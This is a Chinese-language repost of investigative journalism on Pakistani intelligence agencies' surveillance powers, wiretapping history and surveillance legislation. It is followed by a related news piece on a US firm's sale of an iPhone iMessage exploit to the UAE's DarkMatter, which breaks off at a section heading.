Wikileaks 的文件表明，信号情报共享的很大一部分是允许国家安全局和 GCHQ 监视和拦截巴基斯坦许多高级政治家和主要政党领导人的内部和外部沟通，包括 PPP。“这令人非常担忧，”巴巴尔说，当美国人和英国人的监视程度首次被公开时，他正在谈论他的政党反应。

“我们一直都知道[巴基斯坦]安全机构窃听了我们的电话线，”他说。

美国和英国的代理商也可以访问所有人电话记录、检索电子邮件、甚至可以激活巴基斯坦境内隐藏的摄像头，这表明他们“在这里与我们自己的代理商密切相关”。

「图」

「图」

> 唯一能够将财政和技术资源整合起来建立类似于 *ISI* 所寻求的大规模监视系统的国家是技术高度发达的国家，如中国和美国

隐私国际组织的报告还表明，国内机构一直在尽最大努力保持领先于国外同行的能力。该小组报告说，至少两年以来，**ISI** 一直在寻找能够轻松使所有以前监视、拦截和转移数字通信的机制相形见绌的软件和设备。

“2013年6月，巴基斯坦最知名的情报机构 Inter-Services Intelligence（ISI）通过直接窃听进入巴基斯坦的主要光纤电缆，开发了一个大规模的监控系统，该电缆承载了该国大部分网络通信数据。”隐私国际报告。该机构寻求“有针对性的IP监控系统和COE [通用运营环境]”的提案，每秒可以捕获和存储大约660千兆位的 IP 流量。报告补充说：“该系统几乎可以提供所有国内和国际通信数据的审查，这是政府迄今为止进行大规模监视能力的最大幅度扩展。”

“ISI 想要构建的……是一个完整的监控系统，可以捕获一切移动通信数据、包括 Wi-Fi、所有宽带互联网流量以及通过3G传输的任何数据，”报告称。在所提出的系统下的拦截是“无缝的”和“用户无法检测到或看不见的”。

想象一下，随时都有人在查看您发送或接收的每一封电子邮件，或您交换的每个电话或短信，或您访问的每个网站—— 您甚至不知道正在被偷窥的事实。真的是非常令人毛骨悚然。

隐私国际承认“只有少数几个政府设法捕获了其公民的所有通信”，但据该组织技术专家 **Richard Tynan** 博士称，在包括巴基斯坦在内的许多国家，“拦截和存储技术都是正在高速进行中的”，他警告说，一旦增强了监控和拦截互联网通信的能力，他们就会向寻求他们的政府提供这种能力，这将是“一个非常危险的发展。”所有公民可能不得不假设自己的通信最终会进入某些监控中心，因为当局具有这样的能力。”

尽管 ISI 在其提出的请求中已经规定它所寻求的系统应该“能够监控1,000到5,000个并发目标”，但它只需要额外的办公桌和更多的计算机来增加要监控的目标数量。隐私国际报告称，在第二阶段，该系统需要从国际光纤电缆的三个着陆点和两个卫星数据聚合站点捕获“目前所有国际 IP流量”。根据该报告，ISI还试图从60家互联网和宽带服务提供商处收集用户信息。“将这个用户数据与IP地址进行比较将使情报服务能够准确识别访问互联网站点的用户，”报告说。

尽管 ISI 在其提出的请求中已经规定它所寻求的系统应该“能够同时监控1,000到5,000个的目标”，但它只需要额外的办公桌和更多的计算机就可以无限增加要监控的目标数量。

隐私国际报告称，在第二阶段，该系统需要从国际光纤电缆的三个着陆点和两个卫星数据聚合站点捕获“目前所有国际 IP 流量”。根据该报告，ISI 还试图从60家互联网和宽带服务提供商处收集用户信息。“将这些用户数据与**IP**地址进行比较将使情报服务能够准确识别访问互联网站点的用户，”报告说。

无法确认 ISI 是否已达到所需要的水平。“ 先驱报”进行的调查显示，唯一能够将财政和技术资源整合起来建立类似于 **ISI** 所寻求的大规模监视系统的国家是技术高度发达的国家，如中国和美国。同样清楚的是，所需的系统只能由具有非常复杂的技术专业知识的公司构建。

由于没有巴基斯坦公司似乎具备所需的专业水平，而聘请能够获得安全许可的外国公司似乎也是一项耗时的工作。因此，与成本和容量相关的这些问题表明，该机构可能距离获得它所寻求的东西仍然较远。

即使 ISI 还没有技术和财政资源来访问流经巴基斯坦网络空间的所有数据，它仍然拥有法律的无条件的祝福，可以随时随地窃听任何个人或机构的私密通信。事实上，国家监控和拦截私人通信的能力已纳入监管制度。所有互联网服务提供商在申请 **PTA** 许可时都要承诺，他们必须“满足授权安全机构对拦截电话和信息的要求”。

众所周知，巴基斯坦的服务提供商自20世纪90年代以来就遵守了当局正式访问其数据的要求。但仅在最近几个月，ISI 及其对手IB可以获得各种服务提供商运营的互联网数据这一事实才被大众知晓。

「图」

「图」

就像今天巴基斯坦流行的许多好事或坏事一样，拦截私人对话的起源是印度次大陆的英国殖民统治时期。从历史上看，这种拦截是由警方特别处、刑事调查机构和国际部门进行的，但在很大程度上受到限制——甚至在英国人离开后也是如此——当局更倾向于通过线人进行物理监视和监测，就如中国在多年前所做的那样。

当时被称为窃听的第一个特殊情况是时任总理佐尔菲卡尔·阿里·布托授权在国际部门内设立的一个特别小组，以便在解雇 Gul Hassan Khan 后监视武装部队的高级官员。军队负责人和 Rahim Khan 于1972年担任空军部长。该小组由一名叫 Mukhtar 的上校领导，并在他之后被称为Mukhtar Force（不要与几乎同名的什叶派福利组织混淆）其工作人员完全由退役军官组成。

总部设在纽约的独立研究员 Hamid Hussain 博士研究了巴基斯坦情报机构的工作，他表示，在1977年军事政变中该部门被关闭。Mukhtar 被解雇，并且所有记录都被政变制造者查封。

在1977年上半年针对他的政府的抗议活动爆发后，Bhutto 是第一位也是唯一的一位总理—命令ISI 监视他的政治对手的电话。他也是最后一位直接控制 ISI 的统治者。

继 Ziaul Haq 军事政变之后，军队情报机构的作用和能力都有所增强，因为他们在阿富汗反苏战争期间与美国密切合作。美国人提供了慷慨的技术援助，以提高巴基斯坦情报机构、特别是**ISI** 的监控能力。

也是在20世纪80年代，在拉合尔自学成才的 Amjad Alvi 开始进口计算机硬件以组装巴基斯坦的第一批计算机网络。他也是该国最早的互联网服务提供商之一。

1985年，他的公司进口了第一台调制解调器，并于1987年启动了一项电子公告板服务，通过拨入调制解调器在相互链接的小型计算机网络上传输简短信息。“这项服务就像一个博客或聊天室，”Alvi 说，只是规模非常有限。

所有这一切都是在没有任何政府知识的情况下进行的，Alvi 补充道，他在1985年开发计算机病毒方面也有所不同：可以破坏全球数十万台个人和联网计算机的首批软件之一。

“国家从未能够掌握网络空间是如何运作的，他说，然后叙述一些情报官员如何注意到了他，他们收到的信息是他设计了一个通过电子通

信发送和接收文件的系统。他说，官员们很想知道电话如何传输和接收数据。他们还希望确保我在没有安全许可的情况下不使用该技术。”

Alvi 在获得许可方面没有遇到任何麻烦，“因为我是爱国者，所以他们立即信任了我。”

与 Alvi 的合作帮助情报人员了解了这种新事物，“我们致力于提高政府对网络世界运作方式的认识，”他说。这很可能是巴基斯坦基于计算机的通信自由终结的开始，**Alvi** 和那些分享他的网络的人都知道这一点。

「图」

「图」

> “如果一个人要维护自己的尊严、荣誉和声誉，他的隐私，无论是在家里还是在家外，都必须防止非法入侵。”

到了20世纪90年代，后Zia 政治一方面沿着军民路线派系，另一方面沿着党派路线派系。这种派系主义也反映在情报机构的工作中。虽然ISI正在利用政治家的电话，特别是那些属于PPP的电话，但IB主要积极参与反情报，以尽量减少ISI运营的政治影响。

这就是所谓的午夜豺狼行动的时代；在一次秘密行动中，一名 IB 成员记录并泄露了军方支持的举动，通过国民议会的无信任投票，将 Benazir Bhutto 撤下。

Masood Sharif Khattak 是该行动的核心人物之一。他在军队的短暂停留期间接受过情报部门的训练，他于1989年在 Benazir Bhutto 的命令下加入了IB。他被引导加入的原因是为了平衡军控ISI的现状。“这是我们的政治历史，不允许 IB 成长，”Khattak 在采访中告诉“先驱报”。

1993年至1996年，当他成为该机构的另一位 PPP 政府总干事时，他开始采取重大举措，为该机构招募更多人、并获得新技术。他声称已经为其部门购买了第一台计算机。“当我接手时，[IB 组织]本不应该是这样的，”他说。

随着更多的权力出现了争议。

到1996年下半年，**Khattak** 领导的 **IB** 被指控广泛使用电话窃听。他借助政府一揽子许可进行监视，据称他窃听了巴基斯坦首席大法官 Sajjad Ali Shah、信德高等法院首席大法官 Nasir Aslam Zahid 以及在最高法院任职的许多其他法官的电话交谈。以及信德省和旁遮普省的高等法院。据报道，他们还截获并记录了许多重要政客的电话谈话，其中包括 Nawaz Sharif 和 Maulana Fazlur Rehman。

这些指控成为了贝娜齐尔·布托（Benazir Bhutto）反对当时总统法鲁克·莱加里（Farooq Leghari）案件的一部分。在多个方面，案件中的判决对情报机构可以监控的内容、时间和人员、以及在任何情况下他们永远不能做的事设定了非常严格的限制。

“宪法明确规定，保障人的尊严和受法律保护、家庭隐私不受侵犯，并且除依法外，不得剥夺任何人的生命或自由，”判决书写道。“字面意义上的家庭将意味着居住的地方—一个人享有个人自由并感到安全的地方……”家庭“一词意味着隐私、安全以及一个人享有的外人不得干涉的自由”，设定一个人对宪法保障的自由具有不可侵犯的保护的限度。

判决书将“隐私的不可侵犯性”与“人的尊严”联系在一起：“如果一个人要维护自己的尊严、荣誉和声誉，他的隐私，无论是在家里还是在家外，都必须防止非法入侵。“

该判决的作者还写道，情报机构的电话窃听或拦截“无疑会干扰言论自由和表达自由的权利”。

法官最终指示政府“从现在开始每当要求任何电话被窃听、录音、入侵或拦截行动时，都应该在最高法院或由其组成的委员会的事先许可下进行。最高法院将根据案情审查每一案件。“

这不是巴基斯坦第一次有人引用国家利益来捍卫法院最终宣称的“应受谴责的、不道德的、非法的和违宪的行为”。可惜的是，也不会是最后一次。

反抗只能持续不断。

「图」

「图」

> “无论政治丑闻的影响是什么，大规模电话窃听都不太可能结束。“ …… 据说政府还在某个阶段从中国和

> 朝鲜购买了一些监控和拦截设备，而且……最大的刺激来自一个意想不到的时刻。

1996年，联邦政府颁布了“巴基斯坦电信（重组）法案”，该法案在国家利益的范围内赋予了情报机构更加广泛的权力，以窃听电话和拦截通信。

该法第54条规定，“联邦政府可以授权任何人拦截电话和信息，或通过任何电信系统追踪通信。” 法律规定的唯一条件是，这样做是“为了国家安全或逮捕任何罪行。”也就是说并不需要法律专家。模糊的措辞表明，不同的人或不同情况下可以进行任何不同的解释—— 这点和中国一样。请注意这是巴基斯坦的1996年。

一年后，议会通过了臭名昭著的“反恐法案”（ATA）该法案赋予执法和维稳机构无需搜查令即可随意搜查和进入私人房屋的权力。根据拉合尔律师 Waqqas Mir 的说法，拉合尔高等法院在一项具有里程碑意义的判决中将 **ATA** 的许多部分视为违宪，但它通过引用所谓的“全球反恐”维护了这些权力—— 和中国、美国、法国、英国等很多国家一样，他最近撰写了一份研究报告，关于侵犯隐私和言论和结社自由的法律文件。在听取拉合尔法院判决的上诉时，最高法院也支持这一观点。 “[隐私]的权利并不是绝对的，可能会受到反恐的限制，”最高法院裁定说。

Mir 表示，自20世纪90年代以来，法院在许多案件中都涉及到了隐私和个人信息及数据保护的问题，并有不同的解释，但是，“法律并未始终跟上技术的步伐”，技术的快速变化总是超过设定的参数，在每个判决中。

举一个例子，引入＋92作为巴基斯坦的国际区号，可以更轻松地点击或拦截电话。与旧的基于交换机的手动系统相比，其需要情报操作员的物理干预以及收听电话交谈所需的时间，而新的数字系统只需要轻点计算机键盘上的按钮就可以通过监视设备路由任何呼叫。

政府不是向公民提供法律保护，以防止这些技术对他们的隐私人权构成威胁，正相反，是让情报机构不受任何阻碍地继续进行监视。

2001年2月，这种有罪不罚现象最终导致了另一起丑闻。一份英国报纸“星期日泰晤士报”曝光了纳瓦兹谢里夫与两名法官之间的电话通话记录，令人震惊，这两名法官在谢里夫1997年至1999年担任总理期间，已将贝娜齐尔·布托及其丈夫扎尔达里定罪。

“……这份副本的发表……再次成为情报机构在巴基斯坦的作用的焦点。很明显，这些机构继续窃听电话并使用其他方法进行监视，“Mubashir Zaidi 在2001年3月的”先驱报“上发表的一份报告中写道。

他还报告说当时的巴基斯坦总检察长阿齐兹·阿姆斯希在谢里夫于1999年下台后不久声称他的政府“已经窃听了高级法院法官的所有电话。” Zaidi 列举了一份长达75页的名单。 Munshi 向最高法院提交的电话号码显示，除了法官之外，谢里夫还授权监听许多其他人的电话交谈，包括政治家、记者和政府工作人员。

Zaidi 引用调查报告说，“至少有10个情报机构和部门…… [继续]沉迷于电话窃听。”因此，他总结道：“无论政治丑闻的影响是什么，大规模电话窃听都不太可能结束。“

国家的行为主动证明了这一判断是正确的，因为该国在整个2000年代继续扩大其情报机构的监视能力。在这十年中，ISI 的网络部门已经形成。

据说政府还在某个阶段从中国和朝鲜购买了一些监控和拦截设备，而且**……**最大的刺激来自一个意想不到的时刻。在911后的世界中，美国再次需要巴基斯坦在打击基地组织和塔利班方面的合作，华盛顿和伦敦成为巴基斯坦情报和安全机构的技术援助和现代化设备的自愿提供者。

独立研究员 Hussain 说，为了监视和拦截基地组织和塔利班武装分子之间的通信，美国国家安全局在巴基斯坦设立了一系列监听站，监视行动是由美国人和**ISI**的官员联合进行的。他补充说，部分合作只是在2011年袭击杀死基地组织首席执行官奥萨马·本·拉登之后才结束。

IB也在此期间继续迅速扩张。根据在线新闻机构发布的2014年新闻报道，现任政府取消了招聘禁令，其业务正在扩大，设备正在升级。

新闻报道还称，数十亿卢比用于购买德国 **Utimaco** 公司的监控设备，以提高IB“关注其他国内机构以及恐怖活动的能力”。据报道，该设备能够监控和拦截通过 **Gmail**，**Viber** 和 **Blackberry** 等基于互联网的平台发出的电话和短信。

意识到从外国制造商购买敏感监视设备所涉及的安全风险，当局也同时投入了大量资金和精力来建立本土的监视技术研究和开发能力。

据国际隐私国际组织揭露，位于伊斯兰堡的私营公司工程高级研究中心与国家无线电通信公司（一家生产电信和电子设备的政府机构）合作，专注于开发网络监控和破解加密的工具。

同样，与军方密切合作的国立科技大学（NUST）聘请著名计算机科学家 Syed Ali Khayyam 博士在学院建立无线和安全网络（WiSNet）研究实验室。伊斯兰堡的电气工程和计算机科学。该实验室的主要功能之一是生产可以保护巴基斯坦所谓的国家安全和情报机构免受外部网络攻击的软件和设备。

“我们的移动和固定线路网络基础设施非常容易受到攻击，”Khayyam 在接受加利福尼亚州采访时告诉“先驱报”，他在一段时间前离开 NUST 后，在一家名为 **PLUMgrid** 的美国公司工作。外国情报机构以及个人黑客可以监控此基础架构上的数据流量。他说，他们也可能有能力窃取和破坏这些数据。“国家网络灾难随时都可能发生，”他补充道。

「图」

「图」

怀疑论者一直在指出巴基斯坦信息技术和网络基础设施中的类似弱点，以消除国家有能力进行大规模监视和通信拦截的说法。他们指出，技术变化如此之快，以至于国家试图利用它来全面监控自己的公民将始终没有结果—— 或者至多只有部分富有成效。

拥有与政府合作的丰富经验的领先计算机科学家认为，关于监视和通信拦截的大多数官方声称都是夸张的。“有时官员们声称能够解密那些甚至NSA也无法解密的数据包。他们必须创造一门新科学了，“他笑着说。

他解释了运营信息和通信服务的科技公司如何使用比早期版本更难以窃听的计算机程序。他说，数据包争夺战进入了一个新的阶段，公司正在通过加密程序保护他们的产品和服务，这确保了隐私，并且只有在处理数据的公司同意之下才允许访问数据。

例如，在著名的 Memo 案中，大约在2011年，巴基斯坦当局能够访问 **Husain Haqqani** 的黑莓手机数据，他被指控向美国官员发送电子邮件，邀请他们干涉巴基斯坦的内部政治事务。在连续几个月成为头条新闻之后，加拿大运营 Blackberry 手机的公司 RIM 拒绝与巴基斯坦政府分享消息。

独立研究人员 Khayyam，Sheharbano Khattak，Mobin Javed，Zartash Afzal Uzmi 和 Vern Paxson 在不同的美国和巴基斯坦大学工作，他们进行了合作调查，研究了2011年至2013年期间两年内提供互联网服务的六个巴基斯坦网络，以衡量政府审查互联网的财务影响。他们在2014年由总部位于纽约的国际计算机学会（Association for Computing Machinery）发布了一份报告 “通过ISP 以了解互联网审查的后果”。

相关其他信息如下：

「图」

「图」

他们的报告引用了巴基斯坦禁止 YouTube 的案例，强调技术变革也可以使政府审查越来越困难，如果不是完全不可能的话。该报告称，自2008年该禁令首次实施以来，全球最大的搜索引擎谷歌已经改变了其基础设施，使像 YouTube 这样的网站难以被阻挡。

在阻止被视为违反国家安全利益或含有色情和亵渎神灵内容的互联网网站的过程中，国家面临的类似技术限制浮出水面。观众转移到其他地方。报道称，“YouTube 封锁导致了重大转变……表明用户可以使用规避机制继续访问”。

事实上，研究人员发现，在政府实施审查制度的当天，这种转变已经“正在进行中，这表明部分用户可以非常迅速地适应新的阻断机制的引入。” 他们还观察到其他视频托管网站的流量突然增加（40％至80％）许多其他用户只需切换到代理服务器即可继续使用。

“在对审查技术投入大笔资金后，政府是否成功审查了被禁止的内容？”该报告的作者之一Khayyam 问道，“并没有。用户总能找到绕过审查技术的方法。”

审查与监控是一样的，毕竟，这两者在互联网上具有共生关系。“这两者经常齐头并进，”隐私国际的 Tynan 说，“要审查一些事情，你需要首先监视它，然后决定是否允许它，”他说。因此，监视是审查过程的第一步。

由于世界各国努力控制、审查和监控网络空间的信息流动，公司经常提出技术变化。因此，就其在互联网监控和网络犯罪检测方面的尝试而言，巴基斯坦政府对审查的强烈要求增加了挑战。“在技术方面，

你可以执行什么，不能做什么，这是一个很大的挑战，” 拉合尔管理科学大学教授 Uzmi 说，他是该报告的合作者之一。

事实上，技术革命永远以极快的速度展现自己，新的规避技术将不断出现，使得审查、监控、监视和拦截互联网通信的难度越来越大。“这是一场猫鼠游戏，”Uzmi 说。

「图」

「图」

如果政府对技术变革感到沮丧，他们就会试图通过颁布法律来弥补他们对任何数字通信的全面访问权—— 或者至少是那些在他们自己的管辖范围内的数字通信。巴基斯坦最近的两项立法，一项已经生效，另一项处于颁布的高级阶段，全部都有可能使维稳和情报机构能够以前所未有的方式监控和拦截数字通信。这些法律将为情报人员带来额外的好处：他们将能够通过部署谨慎的软件和隐形设备，在法律的全力支持下完成技术未能帮他们做到的事。

2013年，议会通过了两项法律中的第一项，即“公平审判法”。批评者称，该法为执法机构提供了全权委托，以监视和记录数字通信，理由是起诉所谓的恐怖主义嫌疑人。“[法案]彻底修改了关于数字监视和拦截的法律、[和]允许国家行为者获得新的权力、以及对[数字]证据的收集和可接受程序，”Mir 在2014年题为“巴基斯坦数字监视法”的评论中说道，由数字权利基金会（一个倡导组织）委托。他补充说：“[法律]过分关注情报收集，对公民隐私权毫不关心。”

通过“公平审判法”，联邦政府获得了无条件授权“任何形式的监视或拦截”的权力。法律还规定服务提供商不得拒绝政府访问其数据。如果服务提供商未能遵守根据该法案授权的监视权获取数据的请求，则必须支付高达1000万卢比的罚款。

根据 Mir 的解释，“公平审判法”的一个最大问题是“它没有为公民提供任何方式让他们知道自己的隐私已经被侵入。公民也“无法知道侵犯隐私的程度。”

另一个主要问题涉及为审讯和起诉而监视和存储的数据的机密性。“虽然法律确实惩罚未经授权使用或披露收集的信息……但法律中没有规定在特定时期后销毁这些信息。因此，从技术上讲，情报机构或警方可以无限期保留信息，只要他们愿意。对于一个在法治、言论自由和结社自由方面记录不佳的国家来说，这并不是一个好兆头，“Mir

写道。

隐私国际组织也对该法律中的一项条款提出了类似的担忧：如果监视或拦截的性质使得没有必要向任何人提供逮捕令，这实际上意味着公民永远不会知道当局已发出手令来监视他或她的数字和电子通信。

“越来越多的老大哥国家崛起，如巴基斯坦，其目标是在全国的网络中捕获所有国内电话和互联网流量，”该组织在讨论该条款的可能影响时发表评论。

「图」

「图」

就批准和实施而言，第二项立法历史悠久。实际上，它是 Pervez Musharraf 军政府于2002年颁布的“电子交易条例”的继承者。“电子交易条例”是穆沙拉夫政权于2007年发布的“防止电子犯罪条例”（类似中国的俗称“计算机流氓罪”—— 将**VPN**开发均列入了此罪名）。自颁布以来，两届政府和历届议会都在努力将其转变为立法机关批准的法案。已经制作、传播和讨论了多个草案，其中没有任何一个草案被信息技术行业的代表和从事数字权利工作的团体所接受。在关于拟议法律内容的长期讨论过程中，其原始的推动者已经变成了批评者，反之亦然。

总部位于卡拉奇的高级律师扎希德·贾米尔（Zahid Jamil）曾参与起草了至少一部分拟议法律，他抱怨说，管理不善和无能使任何有意义的立法都无从实现。自2014年以来，他一直在推动就新法律达成共识，但利益相关者之间的争吵似乎使他的努力以及为同一事业工作的许多其他人的努力严重受挫。

早在2008年PPP重新掌权时，政府认为适合用另一部法律取代“防止电子犯罪条例”，理由是该条例由独裁者颁布，并包括侵犯公民权利的严厉条款。该法令赋予了该政权一揽子权力，意味着服务提供商可以协助任何执法或情报机构实时收集或记录任何数据。“ 同时，正因为联邦政府根据该条例享有无限的权力，使服务提供商必须对数据的监视和拦截保密。

当拟议的法律首次在国民议会提出时，巴基斯坦穆斯林联盟—纳瓦兹（PMLN）决定反对它。 Anusha Rahman 和 Marvi Memon 都代表国民议会信息技术常设委员会的 PMLN，将政府的草案视为2007年法令的一个淡化版本，他们的反对非常激烈，最终于2009年8月，当时的

首相 Yousuf Raza Gilani 撤回了政府的草案。

Rahman 和 Memon 随后提出了一份名为“2009年网络犯罪法”的备选草案。报纸报道称，两位立法者在信息技术和电信行业以及数字权利团体的广泛参与的情况下起草了该法律。该草案被发送给一个选定的议会委员会，该委员会应该由当时的联邦新闻部长 Sherry Rehman 和后来的巴基斯坦驻美国大使担任主席。然而，在2013年大选举行之前，该委员会甚至未能举行过一次会议。

在 PMLN 于上次大选中获胜并组建联邦政府之后，人们期望 Rahman 和 Memon 可以加快通过该法律，特别是因为前者也已成为管理信息技术的国务部长。然而，草案继续在官方档案中存在了超过一年，而没有取得任何进展。

信息技术和电信行业的代表以及致力于数字版权的活动家们对延迟感到非常沮丧，他们在2013年决定聚在一起并提出他们自己的草案。随后举行了几次会议，两个政府部门的代表，FIA和PTA，与活动家和两个行业的代表进行了详细讨论。很快就诞生了草案。

通过 Jamal 带头的数月的艰苦努力，利益相关者提出的法律随后与 Rahman 和 Memon 提出的法律相协调，以制定共识草案。但是，当联邦内阁审议共识草案时，它建议进行一些修改。数字版权活动人士很愤怒，因为他们看到这些修正案再次侵犯了言论自由和隐私权。

“当政府发现人们利用互联网不仅仅是为了开展业务而且还参与政治行动和表达政治观点时，政府感到害怕，“巴基斯坦软件公司协会（Pasha）负责人 Jehan Ara 说道，“政府的直觉反应就是试图全面控制互联网，”她补充道。

不过，Rahman 将经联邦内阁修订的草案提交给了国民议会信息技术常设委员会。同时活动家们通过卡拉奇国民议会的一名成员向委员会表达了他们的担忧。正是由于这些担忧，常设委员会决定成立一个小组委员会，再次修改草案。

随后对小组委员会进行了许多修改，以尽量减少政府支持的草案的变化。 2015年8月最终批准通过。但是活动家和行业代表都非常生气;他们甚至没有被邀请参加批准会议。

小组委员会的反对派成员也非常不满。委员会的两名原始成员，PPP 的 Shazia Marri 和巴基斯坦穆斯林联盟的 Mushahid Hussain-Quaid-e-Azam，强烈抗议他们被禁止参加草案通过的审批程序。Marri 向常

务委员会主席发出抗议信。

同时，与隐私和言论自由有关的问题接踵而来。

2015年4月，政府采取的立场是，该草案必须符合反对极端主义和恐怖主义的国家行动计划。与政府合作的律师阿米娜·索海尔（Amina Sohail）随后被指派重新起草法案。她的草案不仅包括多项新的“违法行为”，还取消了信息技术和电信行业寻求的许多程序性检查和平衡。其中一个规定是：服务提供商必须“保留流量数据至少一年或 [政府] 可能不时索取的任何时间段，并将该数据提供给调查机构。在任何早期的草案中都没有规定这种控制和入侵互联网的全面权力。

政府极有可能无视对草案的反对意见，并会尽力让它尽快通过。谢里夫总理的特别助理，大律师 Zafarullah Khan 已经表示政府打算在未来几周内将该法案提交国民议会。政府可能不会在执政党获得超过多数席位的国民议会中遇到任何问题。参议院的通过将是另一回事，因为反对党仍然在那里占多数。

「图」

「图」

当草案登陆参议院时，巴巴尔将再次成为众人瞩目的焦点。“我们告诉政府不要通过议会推翻法律。如果愿意考虑所有利益相关者的意见，让法律再花一年时间审议，“他对先驱报说。他说，法律将界定国家与公民之间关系的未来形态，因此，应该对其进行公开辩论。“最重要的是公民的隐私不受侵犯。”

Babar 指出，仅仅通过形成关于网络犯罪的完美法律不会解决与隐私人权相关的问题。事实上，这个问题的根源必须是关于情报机构在监视和审查方面的活动的辩论。

他叙述了一些令人不安的事件，这些事件涉及情报和安全机构如何顽固地不愿意让他们的运作受到任何议会或法律权限的影响。作为上议院信息权利小组委员会的负责人已经就法律草案工作了两年，该法律草案规定国家必须自愿最大限度地披露其活动，极少的和严格界定的豁免。由于意外的障碍，对草案的辩论又被推迟了。

“当我们起草法律时，我们给所有利益相关者写了一封信。我们认为国防部和军队是最重要的利益相关者，因为他们似乎最不愿意放弃监视，“巴巴尔说。“他们给我们回了信，说这是一个敏感的问题，因

此，我们应该在进行之前向军事当局寻求无异议证明。”

2013年参议院发生了类似的情况，当时反对派参议员寻求ISI运作的法律副本。政府对这一要求的回应是直截了当的和明确的：“这是一个秘密而敏感的问题，不能提交议会审议。”

军事机构不对国会最高立法机构负责，这在很多有缺陷的“民主”国家都一样。为了解决这个问题，巴巴尔说，他一直认为，“情报机构应该受到议会的监督。”

为此，参议院人权委员会在2013年批准了一项法案草案。该法案名为2012年的服务间情报局（职能，权力和监管）法案，旨在规范该国首要的、最具争议性的情报机构运作。这份长达19页的草案设想了议会和政府对ISI的监督，特别是对其他机构的整体监督; 它建议追究责任和检查，以阻止秘密机构实施强迫失踪。

Babar 的 PPP—以及执政的 PMLN—都不愿支持草案，原因很简单，双方都不想对抗军事机构。但参议院的许多成员，包括其主席 Raza Rabbani，以及 Awami National Party 的 Haji Adeel 和 Bushra Gohar 以及PPP的 Mandviwalla 等成员都相信，越来越多的数字通信监控和拦截与情报和安全机构缺乏问责制的现状直接相关。

毕竟，如果某人有能力窃听所有人的个人通信而且有保证不会受到惩罚，他们就没理由放弃这种极高层次的特权。

原文

这个恐怖的 iPhone 黑客工具居然来自美国公司…… - iyouport

以色列和NSO-间谍产业的领主协助暴政的家伙们

现在您的手机中这个预装的应用程序仍然是黑客最喜欢的目标。

一家美国网络安全公司被证明是 2016 年 iPhone 黑客的幕后黑手，这个恐怖的漏洞被卖给了一群网络战雇佣兵，并被阿联酋使用。

2016年，当阿联酋为一个强大而隐蔽的 iPhone 黑客工具支付了130多万美元时，这个君主制度国家的间谍和他们雇佣的美国黑客立即将其投入了使用。

该工具利用了苹果 iMessage 应用程序的一个漏洞，使黑客能够完全接管受害者的 iPhone。在一场大规模的监视和间谍活动中，它被用来对付数百个目标 —— 受害者包括地缘政治对手、持不同政见者和人权活动家。

在这里看到具体故事《一个新的战争时代：互联网雇佣军如何为威权政府而战》。

美国司法部本月提交的文件详细说明了一伙为阿布扎比工作的美国雇佣兵是如何在没有得到华盛顿的合法许可的情况下促成了这次销售。但是，该案件的文件并没有透露是谁把这个强大的 **iPhone** 漏洞卖给了阿联酋人。

两位知情人士向《麻省理工科技评论》证实，该漏洞是由一家名为 **Accuvant** 的美国公司开发和销售的。该公司几年前与另一家安全公司合并，现在是一家名为 Optiv 的大公司的一部分。

这一出售的披露为漏洞行业以及美国公司和网络战雇佣兵在全世界强大的黑客能力的扩散中所扮演的角色提供了新的线索。《这就是他们给我讲述世界末日的方式》

Optiv 发言人杰里米·琼斯（Jeremy Jones）在给记者的一封电子邮件中写道，他的公司已经“与司法部充分合作”，Optiv "不是这次调查的对象"。这是事实：调查对象是与阿联酋非法合作的三名前美国情报官员和军事人员。但是，Accuvant 作为该漏洞的开发者和销售者的角色非常重要，足以在司法部的法庭文件中详细说明。

iMessage 漏洞是一个名为 **Karma** 的阿联酋网络战项目的主要武器，该项目由 **DarkMatter** 运营，**DarkMatter**是一个冒充私人公司的骇客组织，但实际上是阿联酋的一个事实上的间谍机构。

相关更多内容《美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 *TheIntercept*》

路透社在2019年就揭露了 Karma 和苹果 iMessage 漏洞的存在。而直到2021年的本月，美国才对三名前美国情报和军事人员罚款168万美元，由于他们在阿联酋作为雇佣黑客从事“无证工作”。这项活动包括购买 **Accuvant** 的黑客工具，然后指挥阿联酋资助的黑客活动。

美国法院的文件指出，这些漏洞是由美国公司开发和销售的，但没有提到背后这些黑客公司的名字。**Accuvant** 公司的作用直到现在才被报道。

Accuvant 公司甚至都不是此次调查的重点，因为它的销售是“经过许可的”，是“合法的”。一位对该漏洞的开发和销售有密切了解的消息人士说，**Accuvant** 是由美国情报机构明确“指示”进行该漏洞的销售的，该公司不知道该漏洞会被用于外国间谍活动。法院文件随后描述了网络战雇佣兵对该漏洞的操纵，使其成为符合阿联酋目的的更强大的黑客工具。

联邦调查局网络部门助理主任布莱恩·沃伦德兰在一份声明中说：“联邦调查局将全面调查那些从非法犯罪网络活动中获利的个人和公司”。“这是向任何曾考虑利用网络空间为外国政府或外国商业公司的利益利用出口管制漏洞的人（包括前美国政府雇员）发出的明确信息——有风险，有后果”。

多产的漏洞开发者

「图」

尽管阿联酋被认为是美国的亲密盟友，但根据法庭文件和吹哨人的说法，DarkMatter 与针对一系列美国目标的网络攻击有关。

在美国的合作关系、专业知识和资金的帮助下，DarkMatter 在几年内将阿联酋的进攻性黑客能力从几乎一无所有发展成为了一个强大而活跃的行动。该组织花费巨资资金聘请美国和西方黑客来开发网络战技术，这些外国雇佣兵有时还指导该国的网络战行动。

在这里看到具体报告《雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国》。

在出售时，Accuvant 是一家位于科罗拉多州丹佛市的研发实验室，专门从事并销售iOS漏洞。

十年前，Accuvant 公司作为一个多产的漏洞开发者，通过与较大的美国军事承包商合作并向政府客户出售漏洞，在政界建立了“良好的声誉”。在一个通常重视沉默准则的行业中，该公司只是偶尔会得到公众的关注。

记者大卫·库什纳（David Kushner）在2013年《滚石》杂志对该公司的介绍中写道：“Accuvant 代表了网络战的一个优势：一个繁荣的市场”。他指的是零日漏洞市场。他说，这是那种“有能力创建定制软件的公司，可以进入外部系统并收集情报，甚至关闭服务器，为此他们可以获得高达100万美元的报酬”。《美国、中国和俄罗斯：暗网最强大的民族国家骇客》

在一系列兼并和收购之后，Optiv 基本上退出了黑客行业，但 Accuvant 的校友网络非常强大，而且仍在研究漏洞。两名高知名度的员工后来共同创立了 Grayshift，这是一家以解锁设备的技术而闻名的 **iPhone** 黑客公司。

据《麻省理工科技评论》了解，**Accuvant** 公司向政府和私营部门的多个客户出售黑客漏洞，包括美国及其盟友 —— 这个确切的 **iMessage** 漏洞也同时出售给其他多个政府客户。

iMessage 的缺陷

「图」

